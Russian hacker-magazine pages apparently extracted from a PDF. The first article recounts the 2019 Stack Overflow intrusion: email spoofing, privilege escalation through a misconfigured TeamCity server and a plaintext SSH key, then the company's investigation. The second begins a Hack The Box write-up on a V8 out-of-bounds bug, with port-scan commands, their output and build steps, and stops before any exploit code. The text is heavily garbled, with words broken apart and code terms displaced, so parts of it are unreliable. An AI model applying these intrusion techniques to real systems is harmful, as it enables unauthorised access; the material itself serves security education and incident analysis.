Overflow. На  этом  чудес ном  сай те мож но  най ти  ответ  прак‐ 
тичес ки на любой воп рос — от спо соба побороть хит рый баг
в  коде  до  смыс ла  жиз ни,  все лен ной  и  все го  такого.
В мае 2019 года Stack Overflow взло мали, похитив исходни ки
плат формы.  При чем  взло мали  с  исполь зовани ем  рекомен‐ 
даций  и  советов,  опуб ликован ных  на  самом Stack Overflow.
Как это получи лось и как уда лось обна ружить втор жение?

ВЗГЛЯД ИЗНУТРИ
Нес мотря  на  то  что  боль шинс тво  поль зовате лей  вос при нима ют  Stack Over‐
flow  как  бес плат ный  ресурс  для  поис ка  отве тов  на  тех ничес кие  воп росы
о  прог рамми рова нии  и  адми нис три рова нии,  это  в  пер вую  оче редь  ком‐ 
мерчес кий про ект. Сайт вхо дит в сос тав гло баль ной сети Stack Exchange Net‐
work,  объ еди няющей нес коль ко пор талов с  воп росами и отве тами в раз ных
областях  зна ний,  которые  соб раны  на  еди ной  плат форме.  Stack  Overflow,
дви жок  которо го  написан  на  С#  с  исполь зовани ем  ASP.NET,  стал  пер вым
ресур сом в этой сети.

Поль зовате ли  пор тала  могут  не  прос то  задавать  воп росы  и  отве чать
на них, но и наращи вать собс твен ную репута цию бла года ря активно му учас‐ 
тию в жиз ни сай та. Рей тинг дает боль ше воз можнос тей: допол нитель ный вес
голоса при оцен ке отве тов, воз можность редак тировать чужие тек сты и пос‐ 
ты —  вплоть  до  модера тор ских  пол номочий.  Stack  Overflow  быс тро  наб рал
популяр ность: уже спус тя четыре года пос ле появ ления его ауди тория вырос‐ 
ла  до  двух  мил лионов  пос тоян ных  поль зовате лей  и  про дол жала  понем ногу
уве личи вать ся.

Мо нети зиру ется пло щад ка за счет рек ламы (поль зовате ли с высоким рей‐ 
тин гом  видят мень ше  объ явле ний)  и  встро енно го  сер виса  по  под бору  пер‐ 
сонала Stack Overflow Careers  (поз же пере име нован ного  в  Talents),  который
поз воля ет сто рон ним фир мам и рек рутин говым агентствам искать сот рудни‐ 
ков сре ди населя ющих сайт прог раммис тов. Кро ме того, Stack Overflow про‐ 
дает биз нес‐вер сию сво его движ ка и ока зыва ет тех поддер жку фир мам, жела‐ 
ющим  раз вернуть  собс твен ный  сер вис  воп росов‐отве тов.  Этот  про дукт
нацелен  на  коман ды  раз работ чиков  и  поз воля ет  соз давать  базы  зна ний
для внут рикор поратив ного исполь зования. Называ ется он Stack Teams.

Все эти ком мерчес кие про екты неп рерыв но обновля ются и совер шенс тву‐ 
ются. Прог раммис ты  устра няют выяв ленные ошиб ки,  добав ляют новые фун‐ 
кции, опти мизи руют код, улуч шают интерфейс. При раз работ ке исполь зуют ся
решения  для  тес тирова ния  и  кон тро ля  вер сий,  репози тории  для  хра нения
кода,  билд‐сер веры,  баг‐тре керы  и  вики  для  внут ренней  докумен тации.
Короче, все как у боль ших соф твер ных кор пораций. С той лишь раз ницей, что
боль шинс тво сот рудни ков Stack Exchange работа ют уда лен но и под клю чают‐ 
ся к необ ходимым ресур сам через интернет.

Эта внут ренняя инфраструк тура и ста ла целью ата ки неиз вес тно го на дан‐ 
ный  момент  зло умыш ленни ка.  А  если  точ нее,  он  пытал ся  добыть  исходный
код Stack Overflow, который не пос тавля ется ком мерчес ким кли ентам, и этой
цели ему в ито ге уда лось дос тичь.

ХОД АТАКИ
Как  извес тно,  любая  хакер ская  ата ка  начина ется  с  раз ведки.  Таинс твен ный
зло умыш ленник начал про щупы вать инфраструк туру, свя зан ную с сер висами
хра нения  исходни ков  и  сбор ки  бил дов  ком мерчес ких  про дук тов  Stack  Ex‐
change,  еще  30  апре ля  2019  года.  По  всей  видимос ти,  реког носци ров ка
вклю чала в себя стан дар тные мероп риятия вро де поис ка суб доменов, обще‐ 
дос тупных ресур сов и ска ниро вания пор тов. Кро ме того, он попытал ся зай ти
в слу жеб ный чат для сот рудни ков Stack Exchange, но не смог получить дос туп
туда.

На сле дующий день, 1 мая, хакер попытал ся решить свою задачу «в лоб»:
пред ста вив шись  одним  из  кор поратив ных  кли ентов,  он  отпра вил  зап рос
в  тех поддер жку  с  прось бой  выс лать  ему  исходный  код  Enterprise‐про дук та
в  целях  ауди та. Не  про кати ло:  во‐пер вых,  Stack  Exchange  не  пре дос тавля ет
исходни ки сво им поль зовате лям, а во‐вто рых, адрес элек трон ной поч ты зло‐ 
умыш ленни ка не уда лось сопос тавить ни с одним из реаль ных кли ентов ком‐ 
пании. Заяв ка была ожи даемо откло нена.

Но это отнюдь не осту дило пыл  хакера. Зарегис три ровав шись в сер висе
Stack Teams, он начал иссле довать его воз можнос ти, отправ ляя приг лашения
при соеди нить ся  к сер вису на дру гие свои учет ки — веро ятно,  что бы иссле‐ 
довать  генери руемые  при  этом  зап росы  и  откли ки  сер вера. Одновре мен но
он вни матель но изу чал темати чес кие вет ки на самом Stack Overflow, свя зан‐ 
ные с про дук том Enterprise и сер висом Teams.

Ад мины Stack Overflow под меча ют: «Нель зя прос то взять и взло мать
Stack Overflow, не под гля дывая на Stack Overflow»

Вос поль зовав шись  информа цией  из  этих  пуб ликаций,  он  соз дал  еще  одно
обра щение  в  тех поддер жку,  на  сей  раз  он  при менил  спу финг  адре са  элек‐ 
трон ной  поч ты  реаль ного  кли ента  Stack  Exchange.  Одна ко  по  это му  адре су
было  нап равле но  авто мати чес кое  сооб щение  о  соз дании  тикета,  и  в  ито ге
обра щение тоже было откло нено служ бой тех поддер жки как подоз ритель ное.
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Спу финг  элек трон ной  поч ты  —  под делка  час ти
сооб щения  email  и  его  тех ничес ких  парамет ров
с целью ввес ти получа теля в заб лужде ние. Пись‐ 
мо мошен ника в таком слу чае выг лядит так, буд то
оно  отос лано  дру гим  (доверен ным)  отпра вите‐ 
лем.

В пос леду ющие дни ата кующий тща тель но изу чал про фили сот рудни ков сап‐ 
порта Stack Exchange и осо бен ности обра бот ки зап росов от поль зовате лей,
но, видимо, не нашел ничего инте рес ного. Зато в одном из откры тых репози‐ 
тори ев ком пании на GitHub он обна ружил URL архи ва с исходным кодом Stack
Overflow,  выложен ного  на  при ват ном  акка унте  GitHub  Enterprise.  Хакер
попытал ся  ска чать  архив,  но  был  перенап равлен  на  стра ницу  авто риза ции.
Сно ва неуда ча.

На конец,  5  мая  2019  года  нас той чивость  ата кующе го  была  воз награж‐ 
дена.  Нас трой ки  кон тро ля  дос тупа  в  Stack  Exchange  допус кали  имперсо‐ 
нацию поль зовате лей в тес товых целях, бла года ря чему зло умыш ленни ку уда‐ 
лось подоб рать парамет ры зап роса, поз воля ющие авто ризо вать ся в сис теме
на уров не раз работ ки. Вслед за этим взлом щик попытал ся зай ти на ряд внут‐ 
ренних ресур сов, URL которых он нашел в докумен тации на пор тале под дер‐ 
жки  Enterprise‐вер сии  про дук та,  но  прак тичес ки  вез де  получил  отказ  в  дос‐ 
тупе  из‐за  отсутс твия  необ ходимых  при виле гий.  Вез де,  кро ме  одно го  слу‐ 
жеб ного пор тала, с помощью которо го он смог повысить собс твен ные пра ва
до  Community  Manager  —  это  роль,  соот ветс тву ющая  уров ню  модера тора
сай та.

К  огромно му  разоча рова нию  хакера,  получен ный  ста тус  все  рав но
не открыл дос туп к инте ресу ющим его слу жеб ным ресур сам Stack Exchange,
и  он  начал  искать  спо собы  повысить  свои  при виле гии  до  раз работ чика.
С  этой  целью  хакер  решил  вос поль зовать ся  механиз мом  вос ста нов ления
дос тупа к учет ной записи.

Для сбро са пароля учет ки в Stack Exchange исполь зует ся сооб щение email
с  «вол шебной ссыл кой» — этот  тра дици онный спо соб всег да счи тал ся дос‐ 
таточ но надеж ным. Одна ко у поль зовате лей с при виле гиями Community Man‐
ager  есть  воз можность  прос матри вать  содер жимое  авто мати чес ки  отправ‐ 
ляемых  сай том  писем.  Таким  обра зом  взлом щик  получил  при виле гии  раз‐ 
работ чика, а заод но — дос туп к нас трой кам сай та, вклю чающим управле ние
мно гими внут ренни ми его фун кци ями.

В  течение  некото рого  вре мени  хакер  увле чен но  изу чал  открыв шиеся
перед  ним  воз можнос ти,  тес тировал  нас трой ки  сай та  и  пытал ся  понять,
какими фун кци ями он теперь может управлять. Сре ди про чих парамет ров он
неожи дан но нат кнул ся на дан ные учет ной записи билд‐сер вера TeamCity. Эта
тех ничес кая учет ка рань ше исполь зовалась для дос тупа к TeamCity REST API
непос редс твен но  из  кода  Stack  Exchange.  На  вре мя  опи сыва емых  событий
эту  фун кцию  уже  убра ли  из  кода,  а  вот  учет ную  запись  при бить  почему‐то
забыли.

Об радован ный хакер попытал ся вой ти с эти ми дан ными на сер вер TeamC‐
ity,  нас тро енный  на  воз можность  авто риза ции  через  интернет,  и  из‐за  неп‐ 
равиль ной  кон фигура ции  служ бы  наз начения  ролей  тут  же  получил  к  нему
адми нис тра тор ский дос туп.
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TeamCity — написан ный на Java билд‐сер вер про‐ 
изводс тва  ком пании  JetBrains,  раз работан ный
для  обес печения  неп рерыв ной  интегра ции.
С помощью спе циаль ных сце нари ев он поз воля ет
авто мати зиро вать  мно гие  рутин ные  про цес сы
раз работ ки,  вклю чая  отсле жива ние  изме нений
в  раз ных  вет ках  репози тория,  про гон  тес тов,
сбор ку  при ложе ния  и  его  заг рузку  на  сер вер
обновле ний.  TeamCity  час то  исполь зует ся  ком‐ 
пани ями, которые работа ют со сте ком тех нологий
C#/ASP.NET.

Та кой оглу шитель ный успех, по всей видимос ти, стал сюр при зом для самого
взлом щика.  Судя  по  тому,  что  он  начал  активно  искать  на  Stack  Overflow
информа цию  о  нас трой ке  и  исполь зовании  TeamCity,  с  этим  про дук том  он
стол кнул ся  впер вые.  Для  начала  хакер  смог  заг рузить  с  сер вера  и  изу чить
некото рые сце нарии нас трой ки кон фигура ции для Enterprise‐про дук тов Stack.
Одновре мен но  с  этим  он  про дол жает  копать ся  в  спра воч ных  раз делах
на Stack Overflow в поис ках све дений о нас трой ке IIS, воз можнос тях TeamCity
и осо бен ностях про дук тов Stack Teams. Изу чение мат части заняло у него нес‐ 
коль ко дней.

В сре ду, 8 мая (то есть на девятый день пос ле пер вой попыт ки про ник нуть
в  инфраструк туру  Stack  Exchange),  зло умыш ленник  прос матри вал  адми нис‐ 
тра тив ные  ресур сы  TeamCity  и  слу чай но  нат кнул ся  на  раз дел  диаг ности ки,
поз воля ющий  прос матри вать  фай лы  на  билд‐сер вере.  Сре ди  них  он  обна‐ 
ружил хра нящий ся в обыч ном плейн‐тек сте ключ SSH, который исполь зовали
аген ты сбор ки для получе ния исходно го кода из GitHub Enterprise. Тут сле дует
отме тить, что если в учет ную запись GitHub добав лен откры тый SSH‐ключ, то
этот  ключ  может  исполь зовать ся  для  дос тупа  к  репози торию  без  допол‐ 
нитель ной аутен тифика ции.

Это го ока залось дос таточ но, что бы хакер успешно кло ниро вал нес коль ко
клю чевых репози тори ев (пока шел про цесс кло ниро вания, он искал на Stack
Overflow  информа цию  о  сбор ке  про ектов  .NET).  Одновре мен но  зло дей
попытал ся авто ризо вать ся в GitHub Enterprise нап рямую с учет ными дан ными
служ бы,  которые он рань ше исполь зовал для дос тупа  к  TeamCity. Но  тут его
жда ла неуда ча: адми ны ком пании догада лись нас тро ить в сво ем экзем пля ре
GitHub  Enterprise  двух фактор ную  аутен тифика цию,  а  ском про мети рован ная
учет ка не вхо дила в  груп пу Active Directory,  которой был раз решен туда дос‐ 
туп.

На  сле дующий  день  хакер  безус пешно  попытал ся  под клю чить ся  к  VPN
Stack Exchange с исполь зовани ем вир туаль ной машины Azure и дан ных учет‐ 
ной записи, открыв шей ему дос туп к TeamCity. Одновре мен но с этим он про‐ 
дол жал искать информа цию на Stack Overflow об осо бен ностях сбор ки при‐ 
ложе ний .NET под IIS, а так же о выпол нении сце нари ев SQL в сре де Azure.

ВАС ЗАМЕТИЛИ
11  мая  зло умыш ленник  извлек  все  копии  кло ниро ван ных  им  репози тори ев
и начал иссле довать жур налы сбор ки и кон фигура ции TeamCity. Затем он нас‐ 
тро ил в TeamCity сопос тавле ние имен поль зовате лей Git таким обра зом, что‐ 
бы в жур налах ауди та  учет ная запись аген та сбор ки, с  которой сопос тавлен
ском про мети рован ный ключ SSH, выг лядела дру гой учет ной записью.

Пос ле  это го  хакер  соз дал  в  TeamCity  новый  про ект,  отклю чил  для  него
про вер ку изме нений в Git и попытал ся сде лать нес коль ко сбо рок с раз ными
кон фигура циями, что бы получить дос туп к внут ренней базе дан ных Stack Ex‐
change и сис теме управле ния пакета ми NuGet.

Пос ле  ряда  неудач ных  попыток  взлом щик  пошел  дру гим  путем.  Он
зарегис три ровал на GitHub обще дос тупную сущ ность gist, содер жащую набор
SQL‐инс трук ций, и соз дал на сер вере TeamCity работа ющую сбор ку, которая
выпол няла с исполь зовани ем этих инс трук ций миг рацию SQL для базы дан‐ 
ных с информа цией о поль зовате лях Stack Exchange. Это поз волило взлом‐ 
щику повысить свои при виле гии в сети Stack до адми нис тра тор ских.

Пос ле  успешно го  выпол нения  SQL‐зап роса  хакер  начал  стре митель но
заметать сле ды ата ки — уда лил все соз данные им сбор ки и почис тил исто‐ 
рию в логах TeamCity. Единс твен ное, чего он не пре дус мотрел,  так это того,
что  на  сер вере  было  нас тро ено  некото рое  подобие  «кор зины»,  из  которой
впос ледс твии мож но вос ста новить уда лен ные объ екты. Это дало иссле дова‐ 
телям воз можность изу чить хро ноло гию его дей ствий.

12  мая  нес коль ко  учас тни ков  сооб щес тва  уве доми ли  адми нов  Stack
о  появ лении  нового  подоз ритель ного  поль зовате ля,  при виле гии  которо го
без  видимых  при чин  вырос ли  до  небыва лых  высот  —  он  получил  дос туп
на уров не раз работ чика и адми нис тра тора ко всем сай там и ресур сам в сети
Stack Exchange. Эти фак торы зас тавили ответс твен ных сот рудни ков заподоз‐ 
рить: что‐то в сети, воз можно, идет не так.

Ад мины обра тились к базе дан ных, где сох раня ется жур нал все го тра фика
к  обще дос тупным  ресур сам  Stack  Exchange.  Исполь зуя  иден тифика тор
подоз ритель ной  учет ной  записи,  они пос тарались  вычис лить  все  свя зан ные
с ней IP‐адре са и про чую информа цию, которая помог ла бы най ти зло умыш‐ 
ленни ка.  На  выходе  получи лось  более  75  тысяч  строк  дан ных,  которые  им
пред сто яло тща тель но изу чить.

РАССЛЕДОВАНИЕ
Со пос тавив логи с информа цией из дру гих источни ков, иссле дова тели приш‐ 
ли  к  выводу,  что  повыше ние  при виле гий  неиз вес тно го  поль зовате ля  —
это  куль минация  ата ки,  для щей ся  вот  уже  на  про тяже нии  13  дней.  Не  имея
точ ного пред став ления о ее мас шта бе, в пер вую оче редь они уда лили подоз‐ 
ритель ную  учет ку  и  при нялись  искать  в  логах  информа цию  о  деятель нос ти
зло умыш ленни ка в сети. Имен но бла года ря сох ранив шимся в жур налах дан‐ 
ным  впос ледс твии  уда лось  вос ста новить  хро ноло гию  ата ки  —  вплоть
до поис ковых зап росов хакера на сай те Stack Overflow.

К 13 мая про веден ная на работе бес сонная ночь поз волила сот рудни кам
Stack опре делить метод  эска лации  при виле гий. Пос ле  это го  они отклю чили
сер вер  TeamCity  и  уда лили  учет ную  запись  служ бы,  которую  взлом щик
исполь зовал  для  дос тупа  к  билд‐сер веру.  Одна ко  собс твен ных  ресур сов
для про дол жения рас сле дова ния и пре дот вра щения пос ледс твий взло ма уже
не  хва тало,  и  руково дите ли  Stack  Exchange  приз вали  на  помощь  сто рон них
спе циалис тов по информа цион ной безопас ности.

Вмес те с экспер тами дела пош ли веселее. Был вос ста нов лен точ ный мар‐ 
шрут зло умыш ленни ка в сети и опре деле ны каналы, по которым он смог про‐ 
ник нуть  на  уро вень раз работ ки, минуя  про вер ку  при виле гий дос тупа.  Что бы
адми ны мог ли вно сить изме нения в рабочую сре ду,  сер вер TeamCity  запус‐ 
тили  сно ва  —  но  уже  за  бран дма уэром.  При  ревизии  уда лось  обна ружить
ошиб ку  в  кон фигура ции,  которой  вос поль зовал ся  зло умыш ленник,  а  так же
ряд обще дос тупных тех ничес ких све дений, которые с точ ки зре ния безопас‐ 
ности  не  дол жны  были  ока зать ся  в  паб лике. Одна ко  иссле дова тели  еще  не
зна ли о том, что хакер смог добыть исходни ки их Enterprise‐про дук та и име ет
дей ству ющий SSH‐ключ для дос тупа к репози торию на GitHub.

Тем вре менем хакер все еще пытал ся получить дос туп к сер веру TeamCity,
дос тупно му теперь толь ко из сети Stack (эти попыт ки фик сирова лись в логах,
и  сот рудни ки  служ бы  безопас ности  видели  их).  Так же  он  активно  искал
на  Stack  Overflow  обсужде ния,  каса ющиеся  спо собов  прог рам мно го
обновле ния  репози тори ев  Git  и  соз дания  баз  дан ных  SQL.  Это  навело
безопас ников на нехоро шие подоз рения.

Толь ко  14  мая,  про дол жая  ана лизи ровать  тра фик  зло умыш ленни ка,
экспер ты  выяс нили,  что  хакер  получил  дос туп  к  исполь зуемо му  билд‐сер‐ 
вером SSH‐клю чу. Ключ немед ленно был отоз ван, а безопас ники при нялись
искать попыт ки его исполь зования. Для это го приш лось перет рясти все жур‐ 
налы  тра фика  по  про токо лам  SSH  и  HTTPS  с  GitHub,  и  в  резуль тате  выяс‐ 
нилось,  что  ключ  исполь зовал ся  не  толь ко  служ бой  TeamCity.  Пос ле  это го
локаль ный сер вер GitHub Enterprise тоже помес тили за бран дма уэр — на слу‐ 
чай, если зло дей получил к нему дос туп не толь ко по SSH.

Ад мины Stack начали аудит всех ком митов, которые мог выпол нить поль‐ 
зователь, получив ший дос туп в репози торий с помощью ском про мети рован‐ 
ного SSH‐клю ча, но не наш ли ничего подоз ритель ного. Так же начал ся аудит
всех репози тори ев на пред мет уте чек сек ретов и чувс тви тель ных дан ных.

Ана лиз тра фика показал, что хакер целенап равлен но не искал в сети поль‐ 
зователь ские  учет ки  и  лич ные  дан ные  сот рудни ков  Stack.  Но  для  пущей
перес тра хов ки  адми ны  сбро сили  учет ные  дан ные  всех  поль зовате лей  сети,
к  которым  зло умыш ленник  к  это му  момен ту  мог  получить  дос туп,  а  самим
юзе рам были нап равле ны инс трук ции для сме ны паролей.

Тем  вре менем  хакер  про дол жал  как  ни  в  чем  не  бывало  читать  воп росы
и отве ты на Stack Overflow вплоть до суб боты 18 мая, уже не пред при нимая
активных  попыток  вло мить ся  в  сеть  Stack  Exchange.  Пос ле  чего  ушел
по‐англий ски — не поп рощав шись. К 23 мая основная часть рас сле дова ния
была  завер шена,  и  раз работ чики  начали  выкаты вать  исправ ления,  приз‐ 
ванные пре дот вра тить подоб ные инци ден ты в будущем.

ИТОГИ
В  резуль тате  про веден ного  собс твен ного  рас сле дова ния  и  ауди та
с  помощью  нанятых  спе цов  руково дите ли  Stack  приш ли  к  сле дующим
выводам.

Од на из при чин взло ма — в том, что боль шинс тво сот рудни ков Stack Ex‐
change  работа ет  уда лен но.  Билд‐сер вер  и  сис тема  кон тро ля  вер сий
для  облегче ния  дос тупа  изна чаль но  были  нап рямую  под клю чены
к интерне ту, хотя их сле дова ло бы спря тать за фай рво лом.

•

На  исполь зуемом  Stack  экзем пля ре  GitHub  Enterprise  была  нас тро ена
двух фактор ная  аутен тифика ция,  но  хакер  сумел  лов ко  обой ти  ее
с помощью похищен ного клю ча SSH.

•

На сер вере TeamCity  исполь зовалась нас трой ка,  допус кавшая  груп повое
наз начение при виле гий по умол чанию. Эта ошиб ка в кон фигура ции была
допуще на мно го лет назад и не была исправ лена. В резуль тате все вновь
соз дава емые  поль зовате ли  нас ледова ли  адми нис тра тив ные  при виле гии.
Адми нис тра торы в TeamCity могут прос матри вать фай лы на сер вере,  где
такие вещи, как клю чи SSH, хра нят ся в виде обыч ного тек ста.

•

Дос туп  к  докумен тации  о  под дер жке  кор поратив ного  про дук та  Stack  Ex‐
change был открыт неог раничен ному кру гу заин тересо ван ных лиц — пос ле
инци ден та  дос туп  откры ли  толь ко  авто ризо ван ным  поль зовате лям  это го
про дук та.

•

Ре бятам  из  Stack  повез ло  преж де  все го  с  тем,  что  они  дотош но  и  парано‐ 
идаль но  жур налиру ют  вооб ще  весь  тра фик,  иду щий  на  их  пуб личные  и  слу‐ 
жеб ные  сер висы.  Имен но  эти  логи  поз волили  им  в  ито ге  про вес ти  рас сле‐ 
дова ние и вос ста новить хро ноло гию событий — ведь невоз можно изу чить то,
чего нет.

Кро ме  того,  они  серь езно  отно сят ся  к  сооб щени ям  поль зовате лей
о  наруше ниях  безопас ности  —  передан ная  учас тни ками  комь юни ти
информа ция о подоз ритель ной активнос ти поз волила отре аги ровать на ата‐ 
ку, хоть и спус тя поч ти две недели пос ле ее начала.

Воз можно, обна ружить втор жение уда лось бы и рань ше, если бы в Stack
обра щали вни мание на необыч ные и подоз ритель ные зап росы в тех поддер‐ 
жку,  которые  могут  быть  попыт ками  исполь зования  методов  соци аль ной
инже нерии, — до инци ден та подоб ные явле ния сап порт поп росту игно риро‐ 
вал.

Кро ме все го про чего, в инфраструк туру Stack Exchange был внед рен спе‐ 
циаль ный механизм опо веще ния о повыше нии при виле гий. Теперь при изме‐ 
нении уров ня дос тупа учет ной записи до «раз работ чика» сер вер отправ ляет
авто мати чес кое уве дом ление груп пе поль зовате лей, которые могут под твер‐ 
дить,  что  это событие легитим но. В Stack искрен не наде ются,  что при нятый
ком плекс мер поз волит им избе жать подоб ных инци ден тов в будущем.
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Речь,  конеч но  же,  пой дет  не  о  цилин драх
и  кла панах.  В  этой  статье  мы  погово рим
о Google  V8  Engine —  движ ке  JS,  который
сто ит  в  Chromium  и  Android.  Вер нее,  мы
будем ломать его на самой слож ной в рей‐ 
тин ге  сооб щес тва  Hack  The  Box  тач ке
RopeTwo.  Ты  узна ешь,  какие  типы  дан ных
есть в движ ке, как мож но ими манипу лиро‐ 
вать, что бы заг рузить в память свой экс пло‐ 
ит,  научишь ся  исполь зовать  механиз мы
отладки V8,  узна ешь,  что  такое WebAssem‐
bly  и  как  про ник нуть  бла года ря  это му
в шелл RopeTwo.

РАЗВЕДКА
На чина ем,  как  всег да,  со  ска ниро вания  пор тов.  Оче вид но,  что  на  машине
такого уров ня необ ходимо прой тись по всем пор там ( ).
Для это го удоб но исполь зовать   — быс трый ска нер пор тов:

TCP + UDP 1–65 535
masscan

 

 

 
Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2020‐12‐21 19:41:59 
GMT 
 ‐‐ forced options: ‐sS ‐Pn ‐n ‐‐randomize‐hosts ‐v ‐‐send‐eth 
Initiating SYN Stealth Scan 
Scanning 1 hosts [131070 ports/host] 
Discovered open port 8060/tcp on 10.10.10.196 
Discovered open port 22/tcp on 10.10.10.196 
Discovered open port 8000/tcp on 10.10.10.196 
Discovered open port 9094/tcp on 10.10.10.196 
Discovered open port 5000/tcp on 10.10.10.196

masscan ‐e tun0 ‐p1‐65535,U:1‐65535 10.10.10.196 ‐‐rate=5000

Ви дим, что откры то все го пять пор тов TCP. Прос каниру ем их с прис трас тием
хорошо всем извес тным ска нером Nmap, что бы узнать под робнос ти.

 

 

 
... 
PORT     STATE SERVICE VERSION 
22/tcp   open  ssh     OpenSSH 7.9p1 Ubuntu 10 (Ubuntu Linux; protocol 
2.0) 

 
 
 
 

5000/tcp open  http    nginx 
 

 
 

 
 

 
 
 

 
 

8000/tcp open  http    Werkzeug httpd 0.14.1 (Python 3.7.3) 
 

 
 

 
8060/tcp open  http    nginx 1.14.2 

 
 

 
 

9094/tcp open  unknown 
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel 
...

nmap  ‐n ‐v ‐Pn  ‐sV ‐sC ‐p8060,22,8000,9094,5000, 10.10.10.196

| ssh‐hostkey:
|   2048 bc:d9:40:18:5e:2b:2b:12:3d:0b:1f:f3:6f:03:1b:8f (RSA)
|   256 15:23:6f:a6:d8:13:6e:c4:5b:c5:4a:6f:5a:6b:0b:4d (ECDSA)
|_  256 83:44:a5:b4:88:c2:e9:28:41:6a:da:9e:a8:3a:10:90 (ED25519)

|_http‐favicon: Unknown favicon MD5: F7E3D97F404E71D302B3239EEF48D5F2
| http‐methods:
|_  Supported Methods: GET HEAD POST OPTIONS
| http‐robots.txt: 55 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile
| /dashboard /projects/new /groups/new /groups/*/edit /users /help
|_/s/ /snippets/new /snippets/*/edit
| http‐title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://10.10.10.196:5000/users/sign_in
|_http‐trane‐info: Problem with XML parsing of /evox/about

| http‐methods:
|_  Supported Methods: GET OPTIONS HEAD
|_http‐server‐header: Werkzeug/0.14.1 Python/3.7.3
|_http‐title: Home

| http‐methods:
|_  Supported Methods: GET HEAD POST
|_http‐server‐header: nginx/1.14.2
|_http‐title: 404 Not Found

Ви дим  SSH,  три  веб‐сер вера  и  неиз вес тный  порт.  Идем  смот реть,  что  нам
покажет бра узер.

На   портe нас пред ска зуемо ждет GitLab, мы это видели в отче те
Nmap.

5000-м

На 5000‐м пор те — при ветс твие GitLab

На   пор те — веб‐сер вер на Python Werkzeug (WSGI) показы вает нам
прос тень кий  сайт  по  раз работ ке  V8  —  движ ка  JavaScript  с  откры тыми
исходни ками, который раз рабаты вают в Google для исполь зования в бра узе‐ 
ре Chrome и дру гих про ектах. Под робнее о нем мож но почитать на 

.

8000-м

офи циаль‐ 
ном сай те

На 8000‐м пор те — стра ница с исходни ками и кон такта ми

Прок рутив  стра ницу,  видим  ссыл ку  ,
которая ведет на исходный код.

http://gitlab.rope2.htb:5000/root/v8

Ссыл ка на исходный код

На   пор те мы видим  . Порт   на зап росы отве чать
не хочет.

8060-м 404 Not Found 9094

По тра диции добавим най ден ный домен в  :/etc/hosts

      10.10.10.196 rope2.htb gitlab.rope2.htb

ПЛАЦДАРМ
Раз  нам  пред лага ют  пос мотреть  исходные  коды,  грех  не  вос поль зовать ся
такой воз можностью.

Ре пози торий с исходни ками V8

Мы  видим  исходные  коды  V8  и  отдель ную  вет ку,  соз данную  авто ром  ВМ,
которая  содер жит  один  ком мит  с  неболь шими изме нени ями. Оче вид но,  что
эти  изме нения  дол жны  нам  помочь.  Изме нены  все го  четыре  фай ла,  пос‐ 
мотрим на них вни матель нее.

Из менения src/builtins/builtins‐definitions.h

В фай ле  заголов ков  добав лены  две  фун кции  для  работы  с  мас сивами: 
  и  .  CPP  —  это  мак рос,  который

добав ляет записи этих фун кций в мас сив метадан ных.

Ar‐
rayGetLastElement ArraySetLastElement

WWW

Под робнее  об  этом  мож но  про честь  в 
, в раз деле Builtins.

до кумен‐ 
тации

Из менения src/init/bootstrapper.cc

Ин стал лиру ем  про тоти пы    и    в  качес тве
встро енных фун кций.

GetLastElement SetLastElement

Из менения src/compiler/typer.cc

Оп ределя ем вызовы фун кций.

Из менения src/builtins/builtins‐array.cc

Вот  мы  и  доб рались  до  самого  инте рес ного —  исходно го  кода  самих фун‐ 
кций.  Фун кция    кон верти рует  мас сив  в 
и  воз вра щает  его  пос ледний  эле мент  —  .  Фун кция 

 записы вает передан ное ей зна чение в пос ледний эле мент 
  с  типом  . Поп робуй,  не  читая даль ше, догадать ся,  в  чем

тут под вох.

GetLastElement FixedDoubleArray
array[length] Set‐

LastElement ar‐
ray[length] float

Пос коль ку  у  меня  не  было  глу боких  зна ний  движ ка  V8,  приш лось  прив‐ 
лекать на помощь интернет. По клю чевым выраже ниям из при веден ных выше
исходни ков  я  доволь но  быс тро  нашел  отличный  рай тап Фараза  Абра ра 

, ком мит с изме нени ями в котором как две кап ли
воды похож на наш.

Ex‐
ploiting v8: *CTF 2019 oob‐v8

Я  уже  пред вку шал  лег кую  победу,  но  не  тут‐то  было.  Не  буду  под робно
рас писывать  весь  про цесс,  так  как  он  деталь но  изло жен  в  рай тапе,  толь ко
крат ко  зат рону  основные  момен ты  и  оста нов люсь  под робнее  на  клю чевых
отли чиях.

Итак, основное отли чие в ком митах толь ко в том, что в рай тапе за чте ние
и  запись  эле мен тов  в мас сив  отве чает  лишь  одна фун кция,  которая  выпол‐ 
няет  то  или  иное  дей ствие  в  зависи мос ти  от  количес тва  передан ных  ей
перемен ных.

Уяз вимость же в них одна и та же. Наде юсь, ты уже догадал ся, какая? Пос‐ 
коль ку адре сация мас сива начина ется с 0, то   поз воля ет нам
читать и писать один эле мент вне гра ниц мас сива. Оста лось понять,  как мы
можем это исполь зовать.

array[length]

ПОДНИМАЕМ СТЕНД
Для начала ска чива ем diff‐файл.

Ска чива ем diff

На зовем файл  ,  в  кон це  добавим  допол нитель ный  перенос  стро ки,
что бы   не ругал ся.

v8.diff
git apply

Да лее  выпол няем  сле дующие  коман ды  (стенд  я  раз вернул  на  Ubuntu
19.04):

 

 

 

artex@ubuntu:~/tools$ git clone 
https://chromium.googlesource.com/chromium/tools/depot_tools.git 
artex@ubuntu:~/tools$ echo "export PATH=/home/artex/depot_tools:$PATH" 
>> ~/.bashrc 
artex@ubuntu:~/tools$ source ~/.bashrc

artex@ubuntu:~$ fetch v8 
artex@ubuntu:~$ cd v8 
artex@ubuntu:~/v8$ ./build/install‐build‐deps.sh 
artex@ubuntu:~/v8$ git checkout 458c07a7556f06485224215ac1a467cf7a82c14b 
artex@ubuntu:~/v8$ gclient sync 
artex@ubuntu:~/v8$ git apply ‐‐ignore‐space‐change ‐‐ignore‐whitespace 
../v8.diff 
artex@ubuntu:~/v8$ ./tools/dev/v8gen.py x64.release 
artex@ubuntu:~/v8$ ninja ‐C ./out.gn/x64.release # Release version 
artex@ubuntu:~/v8$ ./tools/dev/v8gen.py x64.debug 
artex@ubuntu:~/v8$ ninja ‐C ./out.gn/x64.debug # Debug version

Вни мание: ком пиляция каж дого релиза может выпол нять ся нес коль ко часов!

Продолжение статьи →

mailto:a.r.t.e.x@ya.ru
https://v8.dev/
http://gitlab.rope2.htb:5000/root/v8
https://github.com/danbev/learning-v8/blob/master/README.md
https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/


РАЗБИРАЕМ V8
